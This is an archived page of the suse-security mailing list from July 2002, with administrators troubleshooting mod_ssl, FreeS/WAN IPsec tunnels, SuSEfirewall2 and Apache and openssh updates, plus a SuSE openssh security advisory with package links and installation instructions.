[03/Jul/2002 23:20:46 02247] [info] Init: Reinitializing OpenSSL library [03/Jul/2002 23:20:46 02247] [trace] Inter-Process Session Cache (DBM) Expiry: old: 0, new: 0, removed: 0 [03/Jul/2002 23:20:46 02247] [info] Init: Seeding PRNG with 136 bytes of entropy [03/Jul/2002 23:20:46 02247] [info] Init: Configuring temporary RSA private keys (512/1024 bits) [03/Jul/2002 23:20:46 02247] [info] Init: Configuring temporary DH parameters (512/1024 bits) [03/Jul/2002 23:20:46 02247] [info] Init: Initializing (virtual) servers for SSL [03/Jul/2002 23:20:46 02247] [info] Init: Configuring server my.name.de:443 for SSL protocol [03/Jul/2002 23:20:46 02247] [trace] Init: (my.name.de:443) Creating new SSL context (protocols: SSLv2, SSLv3, TLSv1) [03/Jul/2002 23:20:46 02247] [trace] Init: (my.name.de:443) Configuring permitted SSL ciphers [ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL] [03/Jul/2002 23:20:46 02247] [trace] Init: (my.name.de:443) Configuring RSA server certificate [03/Jul/2002 23:20:46 02247] [trace] Init: (my.name.de:443) Configuring RSA server private key

2 1

skyrider@poke53280.de
by Ulrich Klaus (listaccount) 03 Jul '02

03 Jul '02

Very very sorry - this subject was silly. Uli

1 0

skyrider@poke53280.de
by Ulrich Klaus (listaccount) 03 Jul '02

03 Jul '02

Dear colleagues, i hardly tried to enable SSL with apache on my SuSE 7.0 box using the [latest fixes of the] following packages: apache-1.3.19-115 mod_ssl-2.8.2-33 mod_php4-4.0.4pl1-132 (self-compiled from the spm) After creating the key, csr and crt and modifying the httpd.conf accordingly, apache restarts quite well, writing the ssl_engine_log as completely listed below (log-level debug). So, everything seems fine, furthermore because no other logfile contains suspicious entries. But -- there is no listening port 443 at all. Could anybody pleas give me a hint how to see the cause? Thanks a lot in advance! Uli /var/log/httpd/ssl_engine_log: [03/Jul/2002 23:20:45 02246] [info] Server: Apache/1.3.19, Interface: mod_ssl/2.8.2, Library: OpenSSL/0.9.5a [03/Jul/2002 23:20:45 02246] [info] Init: 1st startup round (still not detached) [03/Jul/2002 23:20:45 02246] [info] Init: Initializing OpenSSL library [03/Jul/2002 23:20:45 02246] [info] Init: Loading certificate & private key of SSL-aware server my.name.de:443 [03/Jul/2002 23:20:45 02246] [trace] Init: (my.name.de:443) unencrypted RSA private key - pass phrase not required [03/Jul/2002 23:20:45 02246] [info] Init: Seeding PRNG with 136 bytes of entropy [03/Jul/2002 23:20:45 02246] [info] Init: Generating temporary RSA private keys (512/1024 bits) [03/Jul/2002 23:20:45 02246] [info] Init: Configuring temporary DH parameters (512/1024 bits) [03/Jul/2002 23:20:46 02247] [info] Init: 2nd startup round (already detached) [03/Jul/2002 23:20:46 02247] [info] Init: Reinitializing OpenSSL library [03/Jul/2002 23:20:46 02247] [trace] Inter-Process Session Cache (DBM) Expiry: old: 0, new: 0, removed: 0 [03/Jul/2002 23:20:46 02247] [info] Init: Seeding PRNG with 136 bytes of entropy [03/Jul/2002 23:20:46 02247] [info] Init: Configuring temporary RSA private keys (512/1024 bits) [03/Jul/2002 23:20:46 02247] [info] Init: Configuring temporary DH parameters (512/1024 bits) [03/Jul/2002 23:20:46 02247] [info] Init: Initializing (virtual) servers for SSL [03/Jul/2002 23:20:46 02247] [info] Init: Configuring server my.name.de:443 for SSL protocol [03/Jul/2002 23:20:46 02247] [trace] Init: (my.name.de:443) Creating new SSL context (protocols: SSLv2, SSLv3, TLSv1) [03/Jul/2002 23:20:46 02247] [trace] Init: (my.name.de:443) Configuring permitted SSL ciphers [ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL] [03/Jul/2002 23:20:46 02247] [trace] Init: (my.name.de:443) Configuring RSA server certificate [03/Jul/2002 23:20:46 02247] [trace] Init: (my.name.de:443) Configuring RSA server private key

1 0

RE: [suse-security] IPsec (FreeS/WAN) and SuSEfirewall2
by Andreas Marbet 03 Jul '02

03 Jul '02

> -----Original Message----- > From: Robert Klein [mailto:RoKlein@roklein.de] > Sent: Wednesday, July 03, 2002 9:56 PM > > > > On leftgateway's ipsec.conf change the rightnexthopvalue to the > > internal IP of rightgateway and vice versa. > > I don't think that's the way it's supposed to be... But I solved my problems exactly that way. If anybody has a better solution, please tell me. > > > To manage to fulfill #2 i also added the following tunnels in > > > ipsec.conf: > > > ----------------- > > > conn xpfwlsn-xpfwn > > > # Subnet to gateway > > > > > > conn xpfwl-xpfwnsn > > > # Gateway to subnet > > > > Is it really neccesary to add these connections as well? I think > > FreeS/WAN will be confused because it doesn't know how to > differ the > > incoming connection requests. Could you perhaps post the > log-entries > > when starting FreeS/WAN? > > Yes, it is neccesary, for the gateways to reach the opposite subnet. But the gw (with only one tunnel between the subnets) has its routing table that tells it how to route eg packets to the remote subnet (via ipsec-interface). The packet will arrive there and be passed over to ipsec that decrypts the packet and again passes it over to the internal interface. Isn't it correct that way? Of course gw to gw doesn't work via ipsec that way. > > > Jul 3 14:31:42 xpfwl kernel: SuSE-FW-DROP-DEFAULT IN=ipsec0 > > > OUT=eth1 SRC=194.194.194.200 DST=192.168.1.10 LEN=84 TOS=0x00 > > > > Why does it arrive on ipsec0, should be eth0. Taking the > wrong tunnel? > > No. All traffic between the two networks should go through > ipsec0. (Or else it wouldn't use frees/wan...) but not traffic from an IP not belonging to the specified subnets, eg official IPs in that case. IRC only IPs of the two subnets should arrive on ipsecX. Prost, Andreas

2 1

Re: [suse-security] Apache upgrade from SuSE ?
by Oliver Bleutgen 03 Jul '02

03 Jul '02

> Hi Oliver, >> the problem with the apache upgrade seems to be that the stock apache >> from SuSE 7.0 was 1.3.12 (IIRC, it was definately <1.3.19). > Yes, that's right. >> Then, on 28.April 2001, SuSe seems to have issued a apache 1.3.19 for >> suse linux 7.0, at least that is what I figure out from the fact that > Yes. >> http://www.suse.de/de/support/download/updates/70_i386.html >> >> contains links to mod_contrib.rpm, mod_perl.rpm and other modules >> for apache 1.3.19. > Strictly speaking those module updates should not have been necessary. I doubt that, from my own experiences. > The module API has not changed since back 1.3.12 days. However, there > are some other package interdependencies as well -- (if you ever typed > ldd /usr/lib/apache/libphp4.so you know what I mean...) so if for > example openldap has been updated meanwhile as well and the API used by > php has actually changed, you might end up updating a rebuilt php > package as well. I.e. a package like mod_php might have to rebuilt quite > often. Now the problem is not, for us, to track down these build > dependencies, but to cut them down by translating them into a set of > packages that need rebuilding/updating (on your system!) or not. It's > very complex, unfortunately. I know of the problems, and I think your strategy, as also used with the openssh issue, is the right one. >> Irritatingly, there's no link to an apache 1.3.19 upgrade from that >> time, maybe you people deleted that when the new apache came out. > Do you mean the symbolic link named apache.rpm? It always points to the > current rpm for convenience, so it has been changed since then. No, I mean a link and a note at http://www.suse.de/de/support/download/updates/70_i386.html As you see, there are said modules listed at 28.April 2001, but not apache itself. Before I upgraded, I grepped this page for other occurrencies of the word "apache" and found nothing else. So I concluded that apache hasn't been updated before. >> Now came the new upgrade, and only mod_ssl and apache itself were >> published. People like me upgraded, got no rpm dependency problems >> (yes, without using --nodeps), but apache segfaulted on every request. > As the same procedure has worked for many people, I assume that there is > something in your setup. A special set of modules or something else. Maybe the other people had done the previous update, I didn't, and at least two people on the mailing list didn't also and had seemingly the same problem. > Important: we assume that people have installed the previous security > updates of apache. I hope that this is a fair assumption? Not quite, as you see now. I don't know what the issue was on April, 28th 2001, and I don't find a security anouncement from SuSE concerning apache from that time. But I'm quite sure that _if_ it had been an issue for my servers, I had upgraded apache - but I hadn't. Look at the last openssh issue, I think it's reasonable _not_ to assume that everyone will update openssh - it's just not an issue for people with most configurations. If, in the future, SuSE updates any package which needs the new openssh (not very likely, I know) on 7.0, the same thing could happen again. >> It took me some time to figure out that my apache modules were the >> culprits, because I _had_ checked for a previous apache upgrade which >> I might have omitted for some reason - and, as I said, rpm didn't >> complain. > You had the modules from stock 7.0 installed (hope I got you right)? > They should actually work with the current apache, with the exception of > mod_ssl. Do you know which specific module failed? After I updated mod_contrib and mod_perl, the servers ran alright - before that, segfaults on every request. But the server started up ok. Another data point: even using the src.rpm didn't help. Ok, one thing, I had mod_gzip compiled for apache 1.3.12. But I had tried to get a working apache without that - it didn't work. To elaborate, I commented out everything in httpd.conf which is related to mod_gzip. It didn't work, but after updating the two modules, itd did, in the exact same configuration. > Sometimes, when we can't avoid to make version updates of packages > (and apache 1.3.12->1.3.19 is such a candidate) it can't be guaranteed > that the build procedure can actually be the same. > Two examples: > 1) Newer apache versions (>1.3.22 or so) use an external (system > installed) expat library in favor of the internal one, to avoid library > symbol name clashes when a module (say, mod_perl) loads the external > expat lib into the same namespace. > 2) With apache 1.3.23 or so and later the accept serialization method > has been made runtime configurable. The configuration style has changed. > Simply and boldly offering apache 1.3.26 updates for all distributions > would be prone to break a lot of things because of changes like that. It > would be hard to get it right again, so everything works still as > expected, the configuration files are still valid, and so on. It's absolutely no question for me that staying with the same version number and backporting security patches is the right thing to do under almost any circumstances. Esp. with apache, where there may be custom modules which depend on that very version. >> It would have been helpful if the advisory contained a hint about >> updating the apache modules, because the described update strategy >> _must_ fail on a stock 7.0. > As I understand it, we would need a special hint for users that have > never installed one of the previous apache updates before. > Wrt the texts of the module update packages, they say "update package > for apache 1.3.19". Which is what they ought to say. This is correct, but if it's true that one needs to have other, older updates to get a working server, it would be a great help to describe that in the advisory. What happend was: stock 7.0 -> apache+mod_ssl update from 18.Jun 2002 -> crash what I had to do was: stock 7.0 -> mod_contrib+mod_perl from 28.April 2001 + apache+mod_ssl from 18.Jun -> works IOW, the update from 18.Jun was dependend on the update from 28.April 2001, and that was neither mentioned in the advisory nor reflected in the rpm-dependencies. >> Mind you, I'm not complaining, just trying to give a hint where these >> problems might come from. > We are greatful for such help! And you are doing a great job, esp. with the last two big "incidents". cheers, oliver

3 4

IPsec (FreeS/WAN) and SuSEfirewall2
by Stefan Nilsen 03 Jul '02

03 Jul '02

Hi. I have been trying to setup a few tunnels between two private subnets over the internet. The GW computers should also act as masquerading firewalls for the users on the subnets. The GW computers is running SuSE 8.0. My goals is the following: #1. Allow the users on the subnets to reach each other #2. The GW computers should be able to reach the opposite subnet #3. The GW computers should be able to talk to each other. (Does not *have* to be IPsec, SSH is enough). I have managed to fullfill #1 together with #3, but not without troubles. I had to make minor changes in /etc/init.d/SuSEfirewall2_setup, adding ipsec to the row containing Required-Start: Then I went into yast2, runlevel editor and made a reset of the runlevels. I am sure this could also be done from the cmdline... The reason I did this was because ipsec has to be loaded before the firewall, otherwise it would not load the rules correctly for the ipsec0 interface. The following tunnel was set up in /etc/ipsec.conf on both GW's to get this tunnel to work: ---------------- conn xpfwlsn-xpfwnsn # Subnet to subnet # Left security gateway, subnet behind it, next hop toward right. left=193.193.193.200 leftsubnet=192.168.1.0/24 leftnexthop=193.193.193.193 # Right security gateway, subnet behind it, next hop toward left. right=194.194.194.200 rightsubnet=192.168.3.0/24 rightnexthop=194.194.194.194 # To authorize this connection, but not actually start it, at startup, # uncomment this. #auto=add auto=start ----------------- To manage to fulfill #2 i also added the following tunnels in ipsec.conf: ----------------- conn xpfwlsn-xpfwn # Subnet to gateway # Left security gateway, subnet behind it, next hop toward right. left=193.193.193.200 leftsubnet=192.168.1.0/24 leftnexthop=193.193.193.193 # Right security gateway, subnet behind it, next hop toward left. right=194.194.194.200 # rightsubnet=192.168.3.0/24 rightnexthop=194.194.194.194 # To authorize this connection, but not actually start it, at startup, # uncomment this. #auto=add auto=start conn xpfwl-xpfwnsn # Gateway to subnet # Left security gateway, subnet behind it, next hop toward right. left=193.193.193.200 # leftsubnet=192.168.1.0/24 leftnexthop=193.193.193.193 # Right security gateway, subnet behind it, next hop toward left. right=194.194.194.200 rightsubnet=192.168.3.0/24 rightnexthop=194.194.194.194 # To authorize this connection, but not actually start it, at startup, # uncomment this. #auto=add auto=start ----------------- ... but it does not work. I suspect SuSEfirewall2 to be the reason (or more correctly, my configuration of the firewall). My /etc/sysconfig/SuSEfirewall2 config (only diff's from /usr/share/doc/packages/SuSEfirewall2/SuSEfirewall2.conf): ----------------- FW_DEV_EXT="eth0 ipsec0" FW_DEV_INT="eth1" FW_ROUTE="yes" FW_MASQUERADE="yes" FW_MASQ_DEV="eth0" FW_MASQ_NETS="0/0" FW_PROTECT_FROM_INTERNAL="no" FW_AUTOPROTECT_SERVICES="no" FW_SERVICES_EXT_TCP="ssh" FW_SERVICES_EXT_UDP="500" FW_SERVICES_EXT_IP="50" FW_FORWARD="192.168.1.0/24,192.168.3.0/24 192.168.3.0/24,192.168.1.0/24" FW_KERNEL_SECURITY="no" FW_STOP_KEEP_ROUTING_STATE="yes" ----------------- If I ping a computer on subnet 192.168.1.0/24 from the opposite network GW i get this in /var/log/messages on the recieving GW: Jul 3 14:31:42 xpfwl kernel: SuSE-FW-DROP-DEFAULT IN=ipsec0 OUT=eth1 SRC=194.194.194.200 DST=192.168.1.10 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=0 DF PROTO=ICMP TYPE=8 CODE=0 ID=44295 SEQ=3584 Jul 3 14:31:43 xpfwl kernel: SuSE-FW-DROP-DEFAULT IN=ipsec0 OUT=eth1 SRC=194.194.194.200 DST=192.168.1.10 LEN=84 TOS=0x00 PREC=0x00 TTL=63 ID=0 DF PROTO=ICMP TYPE=8 CODE=0 ID=44295 SEQ=3840 How can I get SuSEfirewall2 to allow this traffic? And for #3: When I have enabled the tunnels conn xpfwlsn-xpfwn and xpfwl-xpfwnsn the traffic from GW1 to GW2 is silently dropped. Using snort (sniffer) I can see that the data is encapsulated on ipsec0 but no data is sent on eth0 ! The data between the subnets still flows correctly in the tunnel. I would be very happy for *any* info on this matter. It is driving me crazy... Stefan.

2 1

RE: [suse-security] IPsec (FreeS/WAN) and SuSEfirewall2
by Andreas Marbet 03 Jul '02

03 Jul '02

> From: Stefan Nilsen [mailto:stefan.nilsen@millnet.se] > Sent: Wednesday, July 03, 2002 7:17 PM > > > > ---------------- > > > conn xpfwlsn-xpfwnsn > > > left=193.193.193.200 > > > leftsubnet=192.168.1.0/24 > > > leftnexthop=193.193.193.193 > > > right=194.194.194.200 > > > rightsubnet=192.168.3.0/24 > > > rightnexthop=194.194.194.194 > > > auto=start Perhaps its not a good idea to set auto=start on both gw. One should have 'start', the other one 'add'. > > Maybe you could post your ipsec.conf and settings in > SuSEfirewall2? Please... ok here they are: my settings in SuSEfirewall2 are the same as you are using. And its correct not to use '$FW_DEV_EXT' in FW_MASQ_DEV but only your external interface. Otherwise all traffic on ipsec will get masqueraded before it arrives at FreeS/WAN and that doesn't work. ipsec.conf right (static IP): config setup interfaces=%defaultroute plutoload=%search plutostart=%search uniqueids=yes conn %default keyingtries=0 right=ext_IP_of_Right rightid=ext_IP_of_Right rightsubnet=192.168.100.0/24 rightnexthop=def_gw_of_right # connection for Andreas Marbet home conn amahome auto=add authby=rsasig rightrsasigkey=0sAQN.... compress=no left=0.0.0.0 leftsubnet=192.168.1.0/24 leftid=(a)vpnama.home leftrsasigkey=0sAQOQ.... # NO leftnexthop here in my case ipsec.conf left (in my case =roadwarrior): config setup interfaces=%defaultroute plutoload=amahome plutostart=amahome uniqueids=yes conn %default keyingtries=0 authby=rsasig compress=no right=ext_IP_of_Right rightid=ext_IP_of_Right rightsubnet=192.168.100.0/24 rightnexthop=192.168.100.91 #=internal IP of right conn amahome auto=start authby=rsasig rightrsasigkey=0sAQN... left=%defaultroute leftsubnet=192.168.1.0/24 leftid=(a)vpnama.home leftrsasigkey=0sAQOQ... is it a bit more clear? > Jul 3 18:57:30 xpfwl ipsec__plutorun: 112 "xpfwlsn-xpfwnsn" #2: > STATE_QUICK_I1: initiate > Jul 3 18:57:30 xpfwl ipsec__plutorun: 004 "xpfwlsn-xpfwnsn" #2: > STATE_QUICK_I2: sent QI2, IPsec SA established > Jul 3 18:57:30 xpfwl Pluto[2310]: "xpfwl-xpfwnsn" #3: > initiating Quick Mode > PSK+ENCRYPT+TUNNEL+PFS > Jul 3 18:57:30 xpfwl Pluto[2310]: "xpfwl-xpfwnsn" #3: sent > QI2, IPsec SA > established > Jul 3 18:57:30 xpfwl ipsec__plutorun: 112 "xpfwl-xpfwnsn" > #3: STATE_QUICK_I1: > initiate > Jul 3 18:57:30 xpfwl ipsec__plutorun: 004 "xpfwl-xpfwnsn" > #3: STATE_QUICK_I2: > sent QI2, IPsec SA established > Jul 3 18:57:30 xpfwl Pluto[2310]: "xpfwlsn-xpfwn" #4: > initiating Quick Mode > PSK+ENCRYPT+TUNNEL+PFS > Jul 3 18:57:30 xpfwl Pluto[2310]: "xpfwlsn-xpfwn" #4: sent > QI2, IPsec SA > established > Jul 3 18:57:30 xpfwl ipsec__plutorun: 112 "xpfwlsn-xpfwn" > #4: STATE_QUICK_I1: > initiate > Jul 3 18:57:30 xpfwl ipsec__plutorun: 004 "xpfwlsn-xpfwn" > #4: STATE_QUICK_I2: > sent QI2, IPsec SA established I assume this is going on and on and on.. but it looks good, you're very close. > > Don't know if IP-Protocol 51 is needed as well? > > Here it says that 51 is only needed if I use packet level > authentication. > Typical case is to use 50. I added it anyway, but it did not make any > difference. you are right, I just tried it myself > > Jul 3 14:31:42 xpfwl kernel: SuSE-FW-DROP-DEFAULT IN=ipsec0 > > OUT=eth1 SRC=194.194.194.200 DST=192.168.1.10 LEN=84 TOS=0x00 > > Why does it arrive on ipsec0, should be eth0. Taking the wrong tunnel? > I think it is correct for it arrive on ipsec0 (in the tunnel), and later > delivered to the machine on the subnet using eth1. But for some reason > SuSEfirewall2 does not want to deliver. an official IP shouldn't arrive on ipsec, it arrives on ethx even if it carries encrypted data which is then passed over to ipsec > Maybe there is a simple addition I can make to enable the route after the > SuSEfirewall2 is loaded? what does 'ipsec eroute' or 'route' tell you after starting ipsec on both ends? skol and good night, Andreas

1 0

ipchains - paketfilter
by Oliver Block 03 Jul '02

03 Jul '02

Hi, I want to setup a paket-filter on a computer which is running a squid-cache an rinetd-proxy for the local network. Is it correct, that squid and rinetd are using the input and output chains and not the forward chain. And does it make sense in your opinion to define new chains for that? tia Oliver __________________________________________________________________ Gesendet von Yahoo! Mail - http://mail.yahoo.de Yahoo! präsentiert als offizieller Sponsor das Fußball-Highlight des Jahres: - http://www.FIFAworldcup.com

1 0

Re: [suse-security] SuSE-SA:2002:024
by Alexander Schiftner 03 Jul '02

03 Jul '02

Dear Günther, I understood that these special installation instructions ("--force --nodeps" or the "--oldpackage) where mentioned because of a version downgrade of openssh. As far as I know SuSE provided newer openssh packages but then decided to patch the old ones. That's why I think that I do not need these instructions. If I would use them they would maybe suppress the error message, nevertheless it is the best for me to update glibc to 2.2.4 too, as this was also a security update that I missed. best regards, Alex Schiftner At 14:04 03.07.2002 +0200, you wrote: >Dear Alexander, > >Am 03.07.2002 12:09:02, schrieb Alexander Schiftner ><alexander.schiftner(a)austrosoft.at>: > > >[...] > >server:~/rpm # rpm -Fhv openssh-2.9.9p2-102.i386.rpm > >in the special installation instructions wihtin the >announcement the use of the " "--force --nodeps" or the "-- >oldpackage" commandline option in addition to the "-Fhv" >option" is mentioned. I don't know if this will help, I just >saw that there was something missing in the commandline option. >Just in case I've appended the special installation >instructions. > >Kind Regards, >Günther Diederich > > SPECIAL INSTALLATION INSTRUCTIONS: > =================================== > * For SuSE Linux 6.4 through 7.3, the now offered packages >are a version > downgrade. The rpm command refuses to install the package >unless you > either use the "--force --nodeps" or the "--oldpackage" >commandline > option in addition to the "-Fhv" option. > * For the update package to become effective, you have to >restart the > running parent ssh daemon with the following command: > rcsshd stop ; rcsshd start > If you perform the update and the daemon restart via a >remote secure > shell connection, you might want to play safe by running >the command > echo "rcsshd stop; rcsshd start"|at now + 3 minutes > from a root shell. If your running instance of sshd gets >killed for > some reason, then your sshd will start again after three >minutes. > Afterwards, make sure that remote login to your host is >possible. > > > > -------- Alexander Schiftner Support Austrosoft Weiss Datenverarbeitung GmbH Hietzinger Hauptstrasse 33 1130 Wien / Austria Phone: +43 - 1 - 8776205 - 17 Fax: +43 - 1 - 8776205 - 21 mailto:alexander.schiftner@austrosoft.at http://www.austrosoft.at

2 1

RE: [suse-security] Gobbles Apache Exploit
by Alan Rouse 03 Jul '02

03 Jul '02

There seems to be a presumption that we are safe until proven otherwise, despite indications to the contrary. That worries me. In case you missed it, you should read this: http://online.securityfocus.com/archive/1/278446/2002-06-23/2002-06-29/0 (Possibly exploited on linux / intel in April). Keep in mind also that gobbles claims to have exploited linux. -----Original Message----- From: Roman Dorr [mailto:rdo@tro.net] Sent: Wednesday, July 03, 2002 4:20 AM To: suse-security(a)suse.com Subject: RE: [suse-security] Gobbles Apache Exploit Hi, afaik the exploit is targeted vs. *BSD Systems. Running it against our Apache's "only" resulted in higher load and error logs filling up. This potential DoS was still possible even with the latest Apache version though, so I wouldn't expect any update helping here. with kind regards, Roman Doerr > -----Original Message----- > From: Patrik Breitenmoser [mailto:pbreitenmoser@festland.ch] > Sent: Wednesday, July 03, 2002 10:03 AM > To: suse-security(a)suse.com > Subject: [suse-security] Gobbles Apache Exploit > > > > Hi, > > I was just wondering if my patched apache on suse 7.3 is save against that > exploit. > > regards > Patrik > > > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

2 1

root cannot delete file, thanx
by rutger 03 Jul '02

03 Jul '02

hello all, thanx for helping. the rootkit changed the attribute to i on the file. therefore even root couldnt delete it. after chattr -i on the file i could delete it. special thanx to r.drahtmueller greetings, r.frechen

1 0

What's the length of ssh keys?
by Praise 03 Jul '02

03 Jul '02

A friend of mine told me that 1024bit keys were broken, and he advised me to use 4096bit keys... I think he is confusing ssl with ssh. Do you have similar information on this? Praise

9 9

SuSE-SA:2002:024
by Alexander Schiftner 03 Jul '02

03 Jul '02

Dear all, I got a problem installing the patched openssh version on SuSE 7.3 . When I issue the rpm-command for installing I get the following error message: server:~/rpm # rpm -Fhv openssh-2.9.9p2-102.i386.rpm error: failed dependencies: libc.so.6(GLIBC_2.2.4) is needed by openssh-2.9.9p2-102 server:~/rpm # I am a little bit confused about that, because asking the rpm - database tells me that I have got glibc-2.2.2 . server:~/rpm # rpm -q glibc glibc-2.2.2-38 server:~/rpm # Anyone who knows about that problem ? regards, Alex -------- Alexander Schiftner Support Austrosoft Weiss Datenverarbeitung GmbH Hietzinger Hauptstrasse 33 1130 Wien / Austria Phone: +43 - 1 - 8776205 - 17 Fax: +43 - 1 - 8776205 - 21 mailto:alexander.schiftner@austrosoft.at http://www.austrosoft.at

2 1

RE: [suse-security] SuSE-SA:2002:023
by Mario Neubert 03 Jul '02

03 Jul '02

Hello List, i have installed OpenSSH 3.3p1 on Suse 7.3. After the hint to modify /etc/init.d/sshd and adding export LD_PRELOAD=/usr/lib/libcrypt.so, sshd works fine and seems to be stable. Should i downgrade to openssh-2.9.9? Thanks, Mario

3 2

httpd/mod_php/fileupload & segmentation faults
by Bastian Schmick 03 Jul '02

03 Jul '02

(I am reposting this because of a wrong In-Reply-To address in the original post - sorry for the inconvenience!) Hi, I am new to this list and I have a question concerning possible attacks on a webserver I am maintaining at my university. Regular checks of our logfiles turned up some strange requests coming from various IP addresses over the last week. They usually lasted for half an hour leaving the following entries in our logfiles: in /var/log/access_log: xxx.xxx.xxx.xxx - - [01/Jul/2002:19:24:51 +0200] "POST /index.php HTTP/1.1" 200 12781 ... (every 5 secs.) in /var/log/error_log: [Mon Jul 1 19:24:48 2002] [notice] child pid 877 exit signal Segmentation fault (11) ... (roughly 4000 segfaults altogether) The machine is running SuSE 7.3 with the following packages that may be related to these events: nue007:~ # rpm -q --all | grep "apache\|php" apache-devel-1.3.20-66 mod_php4-core-4.0.6-160 mod_php4-4.0.6-160 phpMyAdmin-2.2.0-21 apache-doc-1.3.20-66 apache-1.3.20-66 Perhaps this is nothing to worry about, but I was not sure and had a look on the internet. I assumed a connection with the PHP file upload vulnerabilities and exploits as discussed in <http://www.cert.org/advisories/CA-2002-05.html>, and <http://lists.insecure.org/vuln-dev/2002/Mar/0025.html> but thought that these were already patched using the above packages as described in <http://www.suse.de/de/support/security/2002_007_mod_php4_txt.html>. Does anybody know if there are other explanations for these segfaults? Am I still vulnerable even after doing regular security updates of all packages? How can I find out if my machine has been hacked? Perhaps this information is available somewhere on the Internet, but I didn´t find anything and am hoping that someone on this list can give me a hint. Thanks in advance, Bastian

2 4

SuSE Security Announcement: openssh (SuSE-SA:2002:024)
by Roman Drahtmueller 03 Jul '02

03 Jul '02

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: openssh Announcement-ID: SuSE-SA:2002:024 Date: Tuesday, Jul 2nd 2002 22:00 MEST Affected products: 6.4, 7.0, 7.1, 7.2, 7.3, 8.0 SuSE Linux Database Server, SuSE eMail Server III, SuSE Linux Enterprise Server, SuSE Linux Firewall on CD Vulnerability Type: possible remote access Severity (1-10): 3 SuSE default package: yes Content of this advisory: 1) security vulnerability resolved: openssh problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information SuSE Security has issued two warnings and one SuSE Security Announcement on 25th and 26th of June concerning the vulnerabilities found in the openssh package that is contained and installed by default on most SuSE products. For a few days, the nature of the errors were unknown to the public, making it difficult for distributors to provide proper solutions against the problem. Now that details of the errors have been disclosed, we hereby re-release SuSE Security Announcement SuSE-SA:2002:023 (openssh) under a new announcement ID with links to a set of update packages that represent SuSE's permanent fix for the problems found. After closer investigation it turned out that the packages in SuSE products were not vulnerable to the problems if the admin did not change the configuration file of the secure shell daemon (/etc/ssh/sshd_config). In particular, the administrator must actively have set the sshd_config option PAMAuthenticationViaKbdInt to "yes" for the installation to become vulnerable. Since the SuSE openssh packages are compiled without S/KEY support, they are not vulnerable to the second bug that is triggered by the option ChallengeResponseAuthentication if it is set to "yes" (default). The two configuration options correspond to the two security problems found in openssh. Our SuSE Linux distributions have seen a version upgrade from version 2.9.9p2 to 3.3p1 on Tuesday last week. In order to provide properly functioning packages for our products, we have decided to return to the commonly known stable version 2.9.9p2 with the necessary patch to fix the vulnerability for the SuSE Linux distributions 6.4 up to 7.3 and for our server products. SuSE Linux 8.0 came with the newer version 3.0.2p1 and will therefore be upgraded to openssh-3.4p1. We think that adding the patches to the existing versions without a version upgrade is best-service for our customers because we can provide a solution that we know not to break anything else. For more information about the bugs in openssh please visit the openssh project homepage at http://www.openssh.org/ and read the SuSE Security Announcements at http://www.suse.de/security/. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. SPECIAL INSTALLATION INSTRUCTIONS: =================================== * For SuSE Linux 6.4 through 7.3, the now offered packages are a version downgrade. The rpm command refuses to install the package unless you either use the "--force --nodeps" or the "--oldpackage" commandline option in addition to the "-Fhv" option. * For the update package to become effective, you have to restart the running parent ssh daemon with the following command: rcsshd stop ; rcsshd start If you perform the update and the daemon restart via a remote secure shell connection, you might want to play safe by running the command echo "rcsshd stop; rcsshd start"|at now + 3 minutes from a root shell. If your running instance of sshd gets killed for some reason, then your sshd will start again after three minutes. Afterwards, make sure that remote login to your host is possible. Note: ====== In addition to the usual update packages, we have started providing "patch" packages a few days ago. The patch-rpm is an addition to the standard rpm package that consists of the binary changes to the package only. As such, these patch-rpm packages consume considerably less space to save resources during download and storage. We will officially announce the availability of this new packaging technique at SuSE shortly. i386 Intel Platform: SuSE-8.0 ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssh-3.4p1-4.i386.patch… 94c4a554b59902816347a090cd0f6868 SuSE-8.0 ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssh-3.4p1-4.i386.rpm e935b74725f6c5b336a56c6a2be47d9b source rpm: ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/openssh-3.4p1-4.src.rpm 4ea70c5f1e15343b984c5bbc1891cbbb SuSE-7.3 ftp://ftp.suse.com/pub/suse/i386/update/7.3/sec1/openssh-2.9.9p2-102.i386.r… d00552391dd7c7b1bafbb6199002741b source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/openssh-2.9.9p2-102.src.rpm 84a7ce0f267a94bf2accf6b6fd668bb8 SuSE-7.2 ftp://ftp.suse.com/pub/suse/i386/update/7.2/sec1/openssh-2.9.9p2-103.i386.r… 3d2afbcf5c2b2d85f4d3209e773d4877 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/openssh-2.9.9p2-103.src.rpm 49bab0993be8dd2742b4eac849b818a6 SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/sec1/openssh-2.9.9p2-102.i386.r… 38f3dc8257b5bc20b7853b3537ce8cbb source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/openssh-2.9.9p2-102.src.rpm 689ab0e50631d88c207c68be86fcde3b SuSE-7.0 ftp://ftp.suse.de/pub/suse/i386/update/7.0/sec1/openssh-2.9.9p2-101.i386.rpm 0e280e54f4b8f40869ba30a6445cefe7 source rpm: ftp://ftp.suse.de/pub/suse/i386/update/7.0/zq1/openssh-2.9.9p2-101.src.rpm 5f9cc1e1b595a5e96ca1c5197a2ce708 SuSE-6.4 ftp://ftp.suse.de/pub/suse/i386/update/6.4/sec1/openssh-2.9.9p2-100.i386.rpm 5dceb6fedf88887bb2fcfe585307f2ed source rpm: 